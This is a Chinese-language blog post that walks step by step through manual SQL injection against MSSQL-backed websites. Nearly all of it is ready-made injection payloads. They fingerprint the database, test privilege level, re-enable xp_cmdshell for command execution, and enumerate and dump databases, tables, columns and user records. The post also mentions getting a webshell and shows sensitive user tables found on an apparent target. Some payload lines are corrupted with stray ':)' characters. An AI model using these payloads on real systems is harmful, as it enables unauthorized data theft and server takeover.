MSSQL手工注入判断过程
第一步:判断是否为MSSQL数据库
报错信息中有[microsoft][ODBC sql server Driver][SQL Server] 就可判断为MSSQL
MSSQL通常和asp脚本搭配(判断权限很重要) PHP和jsp很少见
或者:
and exists (select count(*) from sysobjects)-- and exists (select * from sysobjects)--
第二步:判断权限(对于有错误回显的目标)
MSSQL注入点:三种权限 SA、DB_OENER、PUBLIC
SA(SystemAdmin)直接执行命令
DB_OENER找到web路径,然后用备份的方法获得webshell,有时也可以对注册表进行操作
PUBLIC需要爆表名和列名
判断:
and 1=(select IS_SRVROLEMEMBER('public') )-- and 1=(select IS_SRVROLEMEMBER('sysadmin') )-- and 1=(select IS_SRVROLEMEMBER('db_owner') )--
哪种返回正确就是那种权限
第三步:判断数据库版本和操作系统
?id=5' and 1=convert(int,@@version)--
and 1=@@version--这个语句要在有回显的模式下才可以哦
and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常)
第四步:SA返回正常判断其他相关信息
判断是否支持多语句执行:
?id=5' declare @d int--
判断sa权限下是否可以执行xp_cmdshell
?id=5' and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')--
如果返回错误,可能是xp_cmdshell被删除,我们可以用以下语句恢复:
?id=5';exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'--
返回结果正常就是恢复成功。否则需上传xp:)log70.dll后执行:
?id=5':exec ma:)ster.dbo.sp_addextende:)dproc 'xp_cmdshell',’c:\inetp:)ut\web\xplog70.dll’;--
xplog70.dll传到哪里就写哪里。
第五步:获取所有数据库个数:
1. and 1=(select quotename(count(name)) from master..sysdatabases)-- 2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) -- 3. and 1=(select str(coun,and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)-- and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) -- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) -- 说明:dbid从1-4的数据库一般为系统数据库. 三条都可
(下面语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
获取当前数据库
and db_name()>0
and 1=(select db_name())--
第六步:获取当前数据库的表:
(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】 and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--复制代码测试效果图:得到 3个敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup
第七步:获得表里的列
(只限于mssql2005及以上版本): and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
第八步:获取字段信息
and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))-- 一次性爆N条所有字段的数据(只限于mssql2005及以上版本): and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
-------------------------------------------
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!